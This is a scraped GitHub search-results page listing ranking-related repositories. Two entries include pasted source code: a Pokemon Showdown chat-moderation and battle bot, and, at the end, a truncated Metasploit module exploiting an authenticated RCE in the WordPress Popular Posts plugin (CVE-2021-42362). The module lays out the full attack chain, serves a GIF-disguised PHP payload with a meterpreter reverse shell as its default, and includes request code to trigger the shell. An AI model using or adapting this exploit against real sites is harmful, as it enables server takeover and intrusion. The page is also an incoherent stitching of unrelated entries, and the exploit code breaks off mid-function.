108 skills found · Page 3 of 4
xibang / Github.kaiyuan.fund:octocat: Github Rank China 中国排行榜网站 https://github.kaiyuan.fund
iblancasa / GitHubSpanishRankingGeneratorScripts to build the GitHub Spanish rankings (users most active in each province sorted by public contributions) :es:
BitTigerInst / Github Ranking FrontEnd【太阁极客榜 Front-End】Realtime ranking board for BitTiger Github members.
aparo / Opensearch Learning To RankFork of https://github.com/o19s/elasticsearch-learning-to-rank to work with OpenSearch
xibang / Github Rank China:octocat: Github Rank 中国排名每日变化信息记录
aploium / Github Repo Stars Rank ListA simple script to get all github repos stars, and give a rank list. 抓取github所有项目的stars并给出排行榜, 44颗星大概能排到前 1%
mehdidc / Clip RerankSimple script to re-rank images using OpenAI's CLIP https://github.com/openai/CLIP.
Champ1604 / Botvar config = { name: 'KTN Bot', userid: function () { return toId(this.name); }, group: '@', join: true, rooms: ['lobby'], punishvals: { 1: 'warn', 2: 'mute', 3: 'hourmute', 4: 'roomban', 5: 'ban' }, privaterooms: ['staff'], hosting: {}, laddering: true, ladderPercentage: 70, debug: false }; /** * On server start, this sets up fake user connection for bot and uses a fake ip. * It gets a the fake user from the users list and modifies it properties. In addition, * it sets up rooms that bot will join and adding the bot user to Users list and * removing the fake user created which already filled its purpose * of easily filling in the gaps of all the user's property. */ function joinServer() { if (process.uptime() > 5) return; // to avoid running this function again when reloading var worker = new(require('./fake-process.js').FakeProcess)(); Users.socketConnect(worker.server, undefined, '1', '76.19.156.198'); for (var i in Users.users) { if (Users.users[i].connections[0].ip === '76.19.156.198') { var bot = Users.users[i]; bot.name = config.name; bot.named = true; bot.renamePending = config.name; bot.authenticated = true; bot.userid = config.userid(); bot.group = config.group; if (config.join === true) { for (var all in Rooms.rooms) { if (all != 'global') { bot.roomCount[all] = 1; } } Users.users[bot.userid] = bot; for (var allRoom in Rooms.rooms) { if (allRoom != 'global') { Rooms.rooms[allRoom].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } else { for (var index in config.rooms) { if (index != 'global') { bot.roomCount[joinRooms[index]] = 1; } } Users.users[bot.userid] = bot; for (var jIndex in config.rooms) { if (jIndex != 'global') { Rooms.rooms[jIndex].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } delete Users.users[i]; } } } const ACTION_COOLDOWN = 3 * 1000; const FLOOD_MESSAGE_NUM = 5; const FLOOD_PER_MSG_MIN = 500; // this is the minimum time between messages for legitimate spam. It's used to determine what "flooding" is caused by lag const FLOOD_MESSAGE_TIME = 6 * 1000; const MIN_CAPS_LENGTH = 18; const MIN_CAPS_PROPORTION = 0.8; var parse = { chatData: {}, processChatData: function (user, room, connection, message) { if (user.userid === config.userid() || !room.users[config.userid()]) return true; var cmds = this.processBotCommands(user, room, connection, message); if (cmds) return false; message = message.trim().replace(/ +/g, " "); // removes extra spaces so it doesn't trigger stretching this.updateSeen(user.userid, 'c', room.title); var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!this.chatData[user][room]) this.chatData[user][room] = { times: [], points: 0, lastAction: 0 }; this.chatData[user][room].times.push(time); var pointVal = 0; var muteMessage = ''; // moderation for flooding (more than x lines in y seconds) var isFlooding = (this.chatData[user][room].times.length >= FLOOD_MESSAGE_NUM && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) < FLOOD_MESSAGE_TIME && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) > (FLOOD_PER_MSG_MIN * FLOOD_MESSAGE_NUM)); if (isFlooding) { if (pointVal < 2) { pointVal = 2; muteMessage = ', flooding'; } } // moderation for caps (over x% of the letters in a line of y characters are capital) var capsMatch = message.replace(/[^A-Za-z]/g, '').match(/[A-Z]/g); if (capsMatch && toId(message).length > MIN_CAPS_LENGTH && (capsMatch.length >= Math.floor(toId(message).length * MIN_CAPS_PROPORTION))) { if (pointVal < 1) { pointVal = 1; muteMessage = ', caps'; } } // moderation for stretching (over x consecutive characters in the message are the same) var stretchMatch = message.toLowerCase().match(/(.)\1{7,}/g) || message.toLowerCase().match(/(..+)\1{4,}/g); // matches the same character (or group of characters) 8 (or 5) or more times in a row if (stretchMatch) { if (pointVal < 1) { pointVal = 1; muteMessage = ', stretching'; } } if (pointVal > 0 && !(time - this.chatData[user][room].lastAction < ACTION_COOLDOWN)) { var cmd = 'mute'; // defaults to the next punishment in config.punishVals instead of repeating the same action (so a second warn-worthy // offence would result in a mute instead of a warn, and the third an hourmute, etc) if (this.chatData[user][room].points >= pointVal && pointVal < 4) { this.chatData[user][room].points++; cmd = config.punishvals[this.chatData[user][room].points] || cmd; } else { // if the action hasn't been done before (is worth more points) it will be the one picked cmd = config.punishvals[pointVal] || cmd; this.chatData[user][room].points = pointVal; // next action will be one level higher than this one (in most cases) } if (config.privaterooms.indexOf(room) >= 0 && cmd === 'warn') cmd = 'mute'; // can't warn in private rooms // if the bot has % and not @, it will default to hourmuting as its highest level of punishment instead of roombanning if (this.chatData[user][room].points >= 4 && config.group === '%') cmd = 'hourmute'; if (this.chatData[user].zeroTol > 4) { // if zero tolerance users break a rule they get an instant roomban or hourmute muteMessage = ', zero tolerance user'; cmd = config.group !== '%' ? 'roomban' : 'hourmute'; } if (this.chatData[user][room].points >= 2) this.chatData[user].zeroTol++; // getting muted or higher increases your zero tolerance level (warns do not) this.chatData[user][room].lastAction = time; room.add('|c|' + user.group + user.name + '|' + message); CommandParser.parse(('/' + cmd + ' ' + user.userid + muteMessage), room, Users.get(config.name), Users.get(config.name).connections[0]); return false; } return true; }, updateSeen: function (user, type, detail) { user = toId(user); type = toId(type); if (type in {j: 1, l: 1, c: 1} && (config.rooms.indexOf(toId(detail)) === -1 || config.privaterooms.indexOf(toId(detail)) > -1)) return; var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!detail) return; var msg = ''; if (type in {j: 1, l: 1, c: 1}) { msg += (type === 'j' ? 'joining' : (type === 'l' ? 'leaving' : 'chatting in')) + ' ' + detail.trim() + '.'; } else if (type === 'n') { msg += 'changing nick to ' + ('+%@&#~'.indexOf(detail.trim().charAt(0)) === -1 ? detail.trim() : detail.trim().substr(1)) + '.'; } if (msg) { this.chatData[user].lastSeen = msg; this.chatData[user].seenAt = time; } }, processBotCommands: function (user, room, connection, message) { if (room.type !== 'chat' || message.charAt(0) !== '.') return; var cmd = '', target = '', spaceIndex = message.indexOf(' '), botDelay = (Math.floor(Math.random() * 6) * 1000), now = Date.now(); if (spaceIndex > 0) { cmd = message.substr(1, spaceIndex - 1); target = message.substr(spaceIndex + 1); } else { cmd = message.substr(1); target = ''; } cmd = cmd.toLowerCase(); if ((message.charAt(0) === '.' && Object.keys(Bot.commands).join(' ').toString().indexOf(cmd) >= 0 && message.substr(1) !== '') && !Bot.config.debug) { if ((now - user.lastBotCmd) * 0.001 < 30) { connection.sendTo(room, 'Please wait ' + Math.floor((30 - (now - user.lastBotCmd) * 0.001)) + ' seconds until the next command.'); return true; } user.lastBotCmd = now; } if (commands[cmd]) { var context = { sendReply: function (data) { setTimeout(function () { room.add('|c|' + config.group + config.name + '|' + data); }, botDelay); }, sendPm: function (data) { var message = '|pm|' + config.group + config.name + '|' + user.group + user.name + '|' + data; user.send(message); }, can: function (permission) { if (!user.can(permission)) { setTimeout(function () { connection.sendTo(room, '.' + cmd + ' - Access denied.'); }, botDelay); return false; } return true; }, parse: function (target) { CommandParser.parse(target, room, Users.get(Bot.config.name), Users.get(Bot.config.name).connections[0]); }, }; if (typeof commands[cmd] === 'function') { commands[cmd].call(context, target, room, user, connection, cmd, message); } } }, getTimeAgo: function (time) { time = Date.now() - time; time = Math.round(time / 1000); // rounds to nearest second var seconds = time % 60; var times = []; if (seconds) times.push(String(seconds) + (seconds === 1 ? ' second' : ' seconds')); var minutes, hours, days; if (time >= 60) { time = (time - seconds) / 60; // converts to minutes minutes = time % 60; if (minutes) times = [String(minutes) + (minutes === 1 ? ' minute' : ' minutes')].concat(times); if (time >= 60) { time = (time - minutes) / 60; // converts to hours hours = time % 24; if (hours) times = [String(hours) + (hours === 1 ? ' hour' : ' hours')].concat(times); if (time >= 24) { days = (time - hours) / 24; // you can probably guess this one if (days) times = [String(days) + (days === 1 ? ' day' : ' days')].concat(times); } } } if (!times.length) times.push('0 seconds'); return times.join(', '); } }; var commands = { guide: function (target, room, user) { var commands = Object.keys(Bot.commands); commands = commands.join(', ').toString(); this.sendReply('List of bot commands: ' + commands); }, say: function (target, room, user) { if (!this.can('say')) return; this.sendReply(target); }, tell: function (target, room, user) { if (!this.can('bottell')) return; var parts = target.split(','); if (parts.length < 2) return; this.parse('/tell ' + toId(parts[0]) + ', ' + Tools.escapeHTML(parts[1])); this.sendReply('Message sent to ' + parts[0] + '.'); }, penislength: function (target, room, user) { this.sendReply('8.5 inches from the base. Perv.'); }, seen: function (target, room, user, connection) { if (!target) return; if (!toId(target) || toId(target).length > 18) return connection.sendTo(room, 'Invalid username.'); if (!parse.chatData[toId(target)] || !parse.chatData[toId(target)].lastSeen) { return this.sendPm('The user ' + target.trim() + ' has never been seen chatting in rooms.'); } return this.sendPm(target.trim() + ' was last seen ' + parse.getTimeAgo(parse.chatData[toId(target)].seenAt) + ' ago, ' + parse.chatData[toId(target)].lastSeen); }, salt: function (target, room, user) { if (!global.salt) global.salt = 0; salt++; this.sendReply(salt + '% salty.'); }, whois: (function () { var reply = [ "Just another Pokemon Showdown user", "A very good competetive pokemon player", "A worthy opponent", "Generally, a bad user", "Generally, a good user", "Someone who is better than you", "An amazing person", "A beautiful person", "A person who is probably still a virgin", "A leader", "A lord helix follower", "An annoying person", "A person with a salty personality", "A Coffee Addict", "A Mediocre Player", ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; target = toId(target); if (target === 'creaturephil') message = 'An experienced **coder** for pokemon showdown. He has coded for over 5 servers such as kill the noise, moxie, aerdeith, nova, etc. Please follow him on github: https://github.com/CreaturePhil'; if (target === config.userid()) message = 'That\'s me.'; if (target === 'zarel') message = 'Pokemon Showdown Creator'; if (target === 'stevoduhhero') message = 'STEVO DUH GOD DAMN HERO! Respect him!'; if (target === 'rickycocaine') message = 'RICKY COCAAAAAAAINE'; this.sendReply(message); }; })(), helix: (function () { var reply = [ "Signs point to yes.", "Yes.", "Reply hazy, try again.", "Without a doubt.", "My sources say no.", "As I see it, yes.", "You may rely on it.", "Concentrate and ask again.", "Outlook not so good.", "It is decidedly so.", "Better not tell you now.", "Very doubtful.", "Yes - definitely.", "It is certain.", "Cannot predict now.", "Most likely.", "Ask again later.", "My reply is no.", "Outlook good.", "Don't count on it." ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; this.sendPm(message); }; })(), maketournament: function (target, room, user) { if (!this.can('maketournament')) return; if (Tournaments.tournaments[room.id]) return this.sendReply('A tournament is already running in the room.'); var parts = target.split(','), self = this, counter = 1; if (parts.length < 2 || Tools.getFormat(parts[0]).effectType !== 'Format' || !/[0-9]/.test(parts[1])) return this.sendPm('Correct Syntax: !maketournament [tier], [time/amount of players]'); if (parts[1].indexOf('minute') >= 0) { var time = Number(parts[1].split('minute')[0]); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**You have ' + time + ' minute' + parts[1].split('minute')[1] + ' to join the tournament.**'); var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (counter === time) { if (Tournaments.tournaments[room.id].generator.users.size < 2) { self.parse('/tour end'); return self.sendReply('**The tournament was canceled because of lack of players.**'); } return self.parse('/tour start'); } if ((time - counter) === 1) { self.sendReply('**You have ' + (time - counter) + ' minute to sign up for the tournament.**'); } else { self.sendReply('**You have ' + (time - counter) + ' minutes to sign up for the tournament.**'); } counter++; if (!Tournaments.tournaments[room.id].isTournamentStarted) loop(); }, 1000 * 60); }; loop(); return; } if (Number(parts[1]) < 2) return; parts[1] = parts[1].replace(/[^0-9 ]+/g, ''); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**The tournament will begin when ' + parts[1] + ' players join.**'); var playerLoop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (Tournaments.tournaments[room.id].generator.users.size === Number(parts[1])) { self.parse('/tour start'); } playerLoop(); }, 1000 * 15); }; playerLoop(); }, hosttournament: function (target, room, user) { if (!this.can('hosttournament')) return; if (target.toLowerCase() === 'end') { if (!Bot.config.hosting[room.id]) return this.sendPm('I\'m not hosting tournaments.'); Bot.config.hosting[room.id] = false; return this.sendReply('I will now stop hosting tournaments.'); } if (Bot.config.hosting[room.id]) return this.sendReply('I\'m already hosting tournaments.'); Bot.config.hosting[room.id] = true this.sendReply('**I will now be hosting tournaments.**'); var self = this, _room = room, _user = user; var poll = function () { if (!Bot.config.hosting[_room.id]) return; setTimeout(function () { if (Poll[_room.id].question) self.parse('/endpoll'); self.parse('/poll Tournament tier?, ' + Object.keys(Tools.data.Formats).filter(function (f) { return Tools.data.Formats[f].effectType === 'Format'; }).join(", ")); setTimeout(function () { self.parse('/endpoll'); Bot.commands.maketournament.call(self, (Poll[_room.id].topOption + ', 2 minute'), _room, _user); }, 1000 * 60 * 2); }, 1000 * 5); }; var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[_room.id] && !Poll[_room.id].question) poll(); if (Bot.config.hosting[_room.id]) loop(); }, 1000 * 60); }; poll(); loop(); }, join: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; if (Rooms.get(target.toLowerCase()).users[Bot.config.name]) return this.sendPm('I\'m already in this room.'); Users.get(Bot.config.name).joinRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has join ' + target + ' room.'); }, botDelay); }, leave: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; Users.get(Bot.config.name).leaveRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has left ' + target + ' room.'); }, botDelay); }, rps: function (target, room, user) { if (!target) return; var options = ['rock', 'paper', 'scissors'], rng = options[Math.floor(Math.random() * options.length)], target = toId(target); if (rng === target) return this.sendReply('I chose ' + rng + '. The result is a tie!'); if (rng === options[0]) { if (target === options[1]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[2]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[1]) { if (target === options[2]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[0]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[2]) { if (target === options[0]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[1]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } }, }; exports.joinServer = joinServer; exports.config = config; exports.parse = parse; exports.commands = commands; // Battling AI exports.teams=new Object;var fs=require("fs");fs.readFile("./config/bot-teams.json",function(e,t){if(e)return;t=""+t;exports.teams=JSON.parse(t)});exports.addTeam=function(e,t){if(t&&t.length&&typeof t=="string"){if(!Bot.teams[e])Bot.teams[e]=new Array;Bot.teams[e].push(t);fs.writeFile("./config/bot-teams.json",JSON.stringify(Bot.teams))}};exports.randomTeam=function(e){if(e.split("random").length-1>0)return"";var t;if(Bot.teams[e])t=Bot.teams[e][Math.floor(Math.random()*Bot.teams[e].length)];if(!t)t="";return t};exports.booty={addBattle:function(e,t){Bot.booty.battles["battle-"+e.toLowerCase().replace(/[^a-z0-9]+/g,"")+"-"+(Rooms.global.lastBattle+1)]={booty:{user:Users.get(Bot.config.name),exposed:[{},{},{},{},{},{}]},opp:{user:t,exposed:[{},{},{},{},{},{}]}}},battles:new Object,check:function(){global.bootytimeout=setTimeout(function(){if(!Bot.booty.battles){Bot.booty.check();return}for(var e in Bot.booty.battles){if(Bot.booty.battles[e]){var t=Rooms.rooms[e];if(t){var n=t.battle;if(n){n=n.field;if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].side)if(n[toId(Bot.config.name)].side.pokemon)if(n[toId(Bot.config.name)].side.pokemon[0].condition.charAt(0)=="0")Bot.booty.forceSwitch(e);if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].forceSwitch)Bot.booty.forceSwitch(e)}}}}Bot.booty.check()},2e3)},forceSwitch:function(e){var t;if(Rooms.rooms[e])t=Rooms.rooms[e];if(!t)return;var n=Bot.booty.battles[t.id];var r=t.battle.field,i=r[toId(Bot.config.name)].side.pokemon;var s=i.length;if(!o){var o=new Array;for(var u=0;u<s;u++)o.push(u)}var a=Math.floor(Math.random()*s);while(a==1&&o.indexOf(a)==-1&&i[a].condition.charAt(0)=="0")a=Math.floor(Math.random()*s);t.decision(Users.get(toId(Bot.config.name)),"choose","switch "+parseInt(a+1,10))},predict:function(e,t,n,r){function N(e,t,n){var r=false;var i=1;var s=0;for(var o in t){var u=1;var a=t[o];for(var f in e)u=u*T[Tools.data.TypeChart[e[f]].damageTaken[a]];if(u>=2)r=true;i=i*u;if(s<u)s=u}if(n){if(n.total)return i;else if(n.best)return s}return r}function C(e,t){var n=e.baseStats;var r=0;for(var i in n)r+=n[i];var s=e.abilities;var o=e.types;var u={wall:false,frail:false,attacking:{mixed:false,physical:false,special:false},defending:{mixed:false,physical:false,special:false}};if(n.hp<100)u.frail=true;if((n.hp+n.def+n.spd)/r>.474)u.wall=true;var a=n.atk+n.spa;var f=n.atk/a;var l=n.spa/a;if(12.75>Math.abs(f-l)*100){u.attacking.mixed=true;u.attacking.physical=true;u.attacking.special=true}else{if(f>l)u.attacking.physical=true;if(l>f)u.attacking.special=true}var c=n.def+n.spd;var h=n.def/c;var p=n.spd/c;if(12.75>Math.abs(h-p)*100){if(n.def>=75)u.defending.physical=true;if(n.spd>=75)u.defending.special=true;if(n.def>=75&&n.spd>=75)u.defending.mixed=true}else{if(h>p)if(n.def>=75)u.defending.physical=true;if(p>h)if(n.spd>=75)u.defending.special=true}if(u.wall||u.tank)u.frail=false;if(t===0){}return u}function k(){var e=new Array;var t=new Array;var n={move:"",power:0};var r=new Object;for(var i in v){var s=1;var o=Tools.data.Movedex[toId(v[i])];var u=o.type;for(var i in E.types)s=s*T[Tools.data.TypeChart[E.types[i]].damageTaken[u]];var c=a[0].baseAbility;var h=a[0].item;if(c=="thickfat"&&(u=="Fire"||u=="Ice"))s=s*.5;if((h=="airballoon"||c=="levitate")&&u=="Ground")s=0;var p=1;if(w.types.indexOf(u)!=-1)p=1.5;var d=s*o.basePower*p;e.push(s);t.push(d);if(d>n.power)n={move:o.name,power:d,info:v[i]};if(o.category=="Status"){r[o.id]=v[i]}}var m,g;var y="";if(f[0].item.split("ite").length-1>0&&f[0].details.split("-mega").length-1==0)y=" mega";if(m&&!g){}else{}return"move "+n.move+y+"|"+l}function L(){return A()}function A(){function n(e,t){var n=0;if(e.bestmovepower>t)n++;if(e.faster)n++;return n}var e=0;var t={slot:0,bestmovepower:0,faster:false};for(var r in f){var i=f[r];var s=Tools.data.Pokedex[toId(i.details.split(",")[0])];if(i.condition.charAt(0)!="0"){e++;var o=new Array;for(var u in i.moves)o[u]=i.moves[u].replace(new RegExp("[0-9]","g"),"");var a=new Array;for(var u in o)a.push(Tools.data.Movedex[toId(o[u])].type);var l=false;if(s.baseStats.spe>E.baseStats.spe)l=true;var c=0;for(var h in o){var p=1;var d=Tools.data.Movedex[toId(o[h])];var v=d.type;for(var m in E.types)p=p*T[Tools.data.TypeChart[E.types[m]].damageTaken[v]];var g=1;if(s.types.indexOf(v)!=-1)g=1.5;var y=p*d.basePower*g;if(y>c)c=y}var b={slot:r,bestmovepower:c,faster:l};if(n(t,b.bestmovepower)<n(b,t.bestmovepower))t=b}}t.slot++;if(e==1||t.slot==1)k();return"switch "+t.slot}function O(){var e=false;var t=false;var n=E.baseStats.spe;var r=w.baseStats.spe;if(n>r)t=true;var i=N(w.types,E.types);var s=N(E.types,w.types);var o=new Array;for(var u in v)o.push(Tools.data.Movedex[toId(v[u].move)].type);var a=N(E.types,o);if(!(!t&&i&&a&&x.frail)){if(t&&S.frail)e=true;if(t&&i)e=true;if(i)e=true}if(x.wall&&S.wall)e=1;if(e===true){var f=L();if(f.replace(/^\D+/g,"")!=1)return f}else if(e==1)A();return k()}var i;var s={change:false};var o=Users.get(Bot.config.name);if(!t.battle.field||!o)return false;if(!t.battle.field[o.userid])return false;var u=t.battle.field,a=u[n.userid].side.pokemon,f=u[o.userid].side.pokemon;if(a[0].condition.charAt(0)=="0"&&f[0].condition.charAt(0)!="0")return false;if(f[0].condition.charAt(0)=="0")s.change=true;var l=u[n.userid].rqid;var c=Bot.booty.battles[t.id];c.turn=l;if(r=="team"){var h=f.length;var p=Math.floor(Math.random()*h);t.decision(o,"choose","team "+p+"|"+l);return false}if(!u[o.userid]){return false}if(!u[o.userid].active){return false}var d=u[o.userid].active[0].moves;var v=new Array;for(var m in d){var g=d[m];if(!g.disabled&&g.pp)v.push(g)}var y=a[0].details.split(",")[0];var b=f[0].details.split(",")[0];var w=Tools.data.Pokedex[toId(b)];var E=Tools.data.Pokedex[toId(y)];var S=C(w,0);var x=C(E);var T=[1,2,.5,0];switch(r){case"switch":case"move":case"choose":if(!s.change){var M=u[toId(Bot.config.name)].active;if(!M)M=false;else M=M[0].trapped;if(M){i=k()}else{i=O()}}else{i=A()}t.decision(o,"choose",i);break}}};var bootyreplace={search:function(e,t,n){function r(e){var t=Math.floor(Math.random()*100)+1;if(t>e)return false;return true}if(!Bot.config.laddering)return;if(r(Bot.config.ladderPercentage))return;if(!toId(e))return false;var i=toId(e);var s=true;var o=Tools.fastUnpackTeam(n.team);var u=TeamValidator.validateTeamSync(i,o);if(u&&u.length)s=false;if((e=="ou"||e.split("random").length-1>0)&&r(100)&&s){Bot.booty.addBattle(e,n);Rooms.global.startBattle(Users.get(Bot.config.name),n,e,true,Bot.randomTeam(e),n.team);Rooms.global.cancelSearch(n);return false}if(e){if(Config.pmmodchat){var a=n.group;if(Config.groupsranking.indexOf(a)<Config.groupsranking.indexOf(Config.pmmodchat)){var f=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+f+" or higher to search for a battle.");return false}}Rooms.global.searchBattle(n,e);if(e=="ou"||e.split("random").length-1>0){Users.get(Bot.config.name).team=Bot.randomTeam(e);Bot.booty.addBattle(e,n);Users.get(Bot.config.name).prepBattle(e,"search",null,Rooms.global.finishSearchBattle.bind(Rooms.global,Users.get(Bot.config.name),e))}}else{Rooms.global.cancelSearch(n)}},challenge:function(e,t,n,r){e=this.splitTarget(e);var i=this.targetUser;if(!i||!i.connected){return this.popupReply("The user '"+this.targetUsername+"' was not found.")}if(i.blockChallenges&&!n.can("bypassblocks",i)){return this.popupReply("The user '"+this.targetUsername+"' is not accepting challenges right now.")}if(Config.pmmodchat){var s=n.group;if(Config.groupsranking.indexOf(s)<Config.groupsranking.indexOf(Config.pmmodchat)){var o=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+o+" or higher to challenge users.");return false}}n.prepBattle(e,"challenge",r,function(t){if(t)n.makeChallenge(i,e)});if(this.targetUsername==Bot.config.name){if(!global.bootytimeout)Bot.booty.check();var u=Users.get(Bot.config.name);u.prepBattle(e,"challenge",u.connections[0],function(e){if(e)u.acceptChallengeFrom(n.userid)});Bot.booty.addBattle(e,n);if(e.split("random").length-1>0){}else{if(n.team!=undefined&&n.team!="")Bot.addTeam(e,n.team);var a=Bot.randomTeam(e);if(a==""||!a){a=n.team;if(a==undefined||a=="")a=""}u.team=a}}},move:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","move "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"move")},sw:"switch","switch":function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","switch "+parseInt(e,10));if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"switch")},choose:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose",e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"choose")},team:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","team "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"team")},part:function(e,t,n,r){if(t.id==="global")return false;var i=Rooms.get(e);if(e&&!i){return this.sendReply("The room '"+e+"' does not exist.")}n.leaveRoom(i||t,r)}};for(var i in bootyreplace)CommandParser.commands[i]=bootyreplace[i]; joinServer();
idimetrix / Github RankGithub Global User Ranking, Global Warehouse Star Ranking (Github Action is automatically updated daily).
Muhammadsher / Github Readme Ranking⚡ Dynamically generated ranking for your github readmes
gitlinks / Github Rank ProjectProject to rate quality of github repositories like we vote for cool posts on hacker news
yasikstudio / DevrankThe DeveloperRank is analysis project developer's rank on Github. We are inspired by the PageRank.
JieDing / Github Followers ActionA GitHub Action ranks your followers according to different criteria(number of their followers, credits of their repos, number of their contributions and number of people they're following). It also renders those data into HTML elements so that those ranked followers can be easily displayed in your GitHub profile.
Nate0634034090 / Nate158g M W N L P D A O E### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = 